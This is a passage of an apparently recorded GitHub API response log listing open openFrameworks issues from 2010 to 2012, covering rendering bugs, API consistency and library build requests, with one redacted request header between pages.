int","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-15T23:03:57Z","state":"open","user":{"url":"https://api.github.com/users/stfj","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177578},"id":529268,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T19:30:31Z","body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","comments":0,"milestone":null,"number":357,"html_url":"https://github.com/openframeworks/openFrameworks/issues/357","assignee":null,"title":"glDrawBitmapString vs GL_LIGHTING","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-14T19:30:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":527591,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T01:33:38Z","body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","comments":0,"milestone":null,"number":347,"html_url":"https://github.com/openframeworks/openFrameworks/issues/347","assignee":null,"title":"none of the core functions report how many dimensions they work for","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-01-14T01:33:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":526094,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-13T16:16:40Z","body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","comments":0,"milestone":null,"number":340,"html_url":"https://github.com/openframeworks/openFrameworks/issues/340","assignee":null,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-01-13T16:16:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":524875,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T13:35:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":337,"html_url":"https://github.com/openframeworks/openFrameworks/issues/337","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-13T05:21:53Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":523837,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/330","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":330,"html_url":"https://github.com/openframeworks/openFrameworks/issues/330","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"OpenCv 2.2 for Win ( CB and VS )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2011-01-12T19:09:37Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":522789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T14:06:34Z","body":"currentStyle stores everything about the current style, so it can be used rather than things like drawMode for tracking how things should currently be draw.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/325","comments":1,"milestone":null,"number":325,"html_url":"https://github.com/openframeworks/openFrameworks/issues/325","assignee":null,"title":"drawMode can be deprecated, currentStyle.bFill should be used instead","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-12T15:41:11Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522255,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-12T15:34:48Z","body":"ordering for code completion is a little weird.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","comments":0,"milestone":null,"number":324,"html_url":"https://github.com/openframeworks/openFrameworks/issues/324","assignee":null,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":null,"created_at":"2011-01-12T15:34:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T22:30:48Z","body":"under the /video directory","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","comments":0,"milestone":null,"number":311,"html_url":"https://github.com/openframeworks/openFrameworks/issues/311","assignee":null,"title":"openFrameworksLib has ofQtUtils included twice","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T22:30:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":518434,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T06:36:27Z","body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","comments":0,"milestone":null,"number":305,"html_url":"https://github.com/openframeworks/openFrameworks/issues/305","assignee":null,"title":"no implementation in ofBaseTypes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T06:36:27Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":516844,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":302,"html_url":"https://github.com/openframeworks/openFrameworks/issues/302","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Remove Poco CppUnit from all projects ( done on os x )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:39:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516565,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/299","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":299,"html_url":"https://github.com/openframeworks/openFrameworks/issues/299","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:38:08Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516560,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":298,"html_url":"https://github.com/openframeworks/openFrameworks/issues/298","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:37:49Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516559,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/296","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":296,"html_url":"https://github.com/openframeworks/openFrameworks/issues/296","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"FreeImage 3141 build for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:36:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-09T20:46:43Z","body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","comments":0,"milestone":null,"number":292,"html_url":"https://github.com/openframeworks/openFrameworks/issues/292","assignee":null,"title":"ofTexture should be more flexible","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-01-09T20:46:43Z","state":"open","user":{"url":"https://api.github.com/users/I33N","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":520375},"id":516071,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"html_url":"https://github.com/openframeworks/openFrameworks/issues/288","assignee":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":513779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"html_url":"https://github.com/openframeworks/openFrameworks/issues/275","assignee":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":445829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/271","assignee":null,"title":"ofDrawBitmapString draws from bottom left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":433297,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"html_url":"https://github.com/openframeworks/openFrameworks/issues/265","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":426050,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"html_url":"https://github.com/openframeworks/openFrameworks/issues/264","assignee":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":425675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4931'), ('content-length', '46291'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"bf7e6718fe6b733d04e77e00e220150f"'), ('date', 'Tue, 29 May 2012 19:27:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 